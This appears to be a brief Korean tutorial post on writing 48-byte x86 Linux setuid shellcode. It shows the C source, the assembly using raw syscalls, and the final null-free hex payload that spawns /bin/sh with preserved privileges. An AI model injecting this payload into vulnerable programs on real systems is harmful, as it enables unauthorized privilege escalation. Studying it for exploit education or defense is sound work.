[Intel/x86] Setuid Shell code (48Byte)

#include <stdio.h>

int main(void)

{

char *sh[2];

sh[0]="/bin/sh";

sh[1]=NULL;

setreuid(geteuid(), geteuid());

execve(sh[0], sh, 0);

return 0;

}

-위 그림은 sh을 실행시키는 C코드다.

.globl main

main : 

push %ebp

mov %esp,%ebp

xor %eax,%eax

xor %ebx,%ebx

xor %ecx,%ecx

xor %edx,%edx

mov $0x31,%al

int $0x80

mov %eax,%ebx

mov %eax,%ecx

xor %eax,%eax

mov $0x46,%al

int $0x80

push %eax

push $0x68732F2F

push $0x6E69622F

mov %esp,%ebx

push %eax

push %ebx

mov %esp,%ecx

mov %eax,%edx

mov $0xb,%al

int $0x80

- 리눅스에는 system call이라는 게 있는데 이거에 대해서는 나중에 간략하게 정리하는 걸로 하고 위와 같이 어셈블리로 시스템 콜을 호출시키면서 위에 C소스를 구현한 것이다.

\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\x31

\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31

\xc0\xb0\x46\xcd\x80\x50\x68\x2f\x2f\x73

\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53

\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

- shell code를 짤때는 null이 들어가면 안되서 위와 같이 null을 없애는 작업도 해주어야된다. 위는 짤려서 개행을 시켰지만 원래는 쭉이어지는 것이다.